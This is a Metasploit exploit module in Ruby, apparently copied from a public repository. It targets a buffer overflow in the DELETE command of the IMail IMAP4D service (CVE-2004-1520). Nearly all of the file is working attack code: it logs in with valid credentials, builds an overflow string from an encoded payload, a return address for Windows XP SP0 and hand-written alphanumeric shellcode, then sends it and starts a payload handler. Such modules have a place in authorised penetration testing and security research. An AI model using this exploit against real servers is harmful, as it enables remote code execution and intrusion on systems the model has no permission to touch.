87 lines
2.4 KiB
Ruby
87 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Imap
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IMail IMAP4D Delete Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the 'DELETE'
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command of the IMail IMAP4D service. This vulnerability
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can only be exploited with a valid username and password.
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This flaw was patched in version 8.14.
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},
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'Author' => [ 'spoonm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-1520'],
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[ 'OSVDB', '11838'],
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[ 'BID', '11675'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 614,
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'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
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'StackAdjustment' => -3500,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'EDX',
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}
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# alphanum rets :(, will look more into it later
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['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],
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],
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'DisclosureDate' => 'Nov 12 2004',
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'DefaultTarget' => 0))
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end
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def exploit
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connect_login
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print_status("Sending overflow string...")
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req = 'A683 DELETE '
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req << payload.encoded
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# Jump over code
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req << "\x74\x32\x75\x30"
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req << [target.ret].pack('V')
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req << rand_text_alphanumeric(44)
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# GetEIP code
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req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"
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req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"
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# Alphanumeric jmp back (edx context)
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req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"
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req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"
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req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"
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req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"
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# Run off the stack, so we don't kill our payload, or something...
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req << rand_text_alphanumeric(600)
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# Terminate the request
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req << "\r\n"
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sock.put(req)
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handler
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disconnect
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end
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end
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